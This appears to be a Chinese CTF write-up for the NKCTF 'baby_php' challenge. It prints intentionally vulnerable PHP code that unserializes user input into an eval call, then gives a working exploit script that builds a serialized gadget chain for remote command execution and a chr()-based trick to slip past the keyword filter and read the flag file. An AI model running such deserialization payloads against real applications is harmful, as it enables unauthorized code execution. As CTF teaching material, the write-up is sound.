目录
题目
<baby_php?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['p'])){
unserialize($_GET['p']);
}else{
highlight_file(__FILE__);
}
?>
wp
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg;
}
class Happy{
public $shell;
public $cmd;
}
class Hell0{
public $func;
}
$t=new Welcome();
$t->name="welcome_to_NKCTF";
$t->arg=new Hell0();
$t->arg->func=new Happy();
$t->arg->func->shell="system";
$t->arg->func->cmd="dir /";
echo serialize($t);
popchain
Welcome::__destruct->Hell0::__toString->Happy::__invoke
要利用eval >> Happy::__invoke() >> Hell0:__toString >> Welcome::__destruct
思路
用到eval函数,要触发Happy::__invoke(),即用一个函数调用Happy,发现Hell0中有一个function(),则可以func=new Happy()要触发__toString,可以用到Welcome中的echo,但是要name == 'welcome_to_NKCTF' ,则可以先new Welcome,触发__construct(),再使name == 'welcome_to_NKCTF'
cmd的利用
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
cmd绕过preg_match('/f|l|a|g|\*|\?/i', $string)利用chr函数
$t->arg->func->shell="strtolower";
即$t->arg->func->cmd="show_source(chr(47).chr(102).chr(49).chr(97).chr(103));";
eval(strtolower(show_source(/f1ag);)
eval(strtolower(show_source(chr(47).chr(102).chr(49).chr(97).chr(103));)
strtolower
strtolower() 函数把字符串转换为小写
show_source
show_source() 函数对文件进行语法高亮显示
本函数是 highlight_file() 的别名